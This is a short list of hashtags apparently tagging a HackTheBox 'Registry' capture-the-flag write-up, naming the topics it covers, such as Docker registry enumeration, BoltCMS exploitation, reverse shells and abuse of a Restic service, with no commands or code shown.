#HackTheBox   #Registry   #Writeup   #Cybersecurity   #Penetration Testing   #CTF   #Reverse Shell   #Privilege Escalation   #RCE   #Exploit   #Linux   #HTTPS Enumeration   #SSL Certificate Enumeration   #Docker Registry Enumeration   #Fuzzing   #Information Leakage   #Weaponizing BoltCMS   #User Pivoting   #Abusing Restic Service   #Restic Server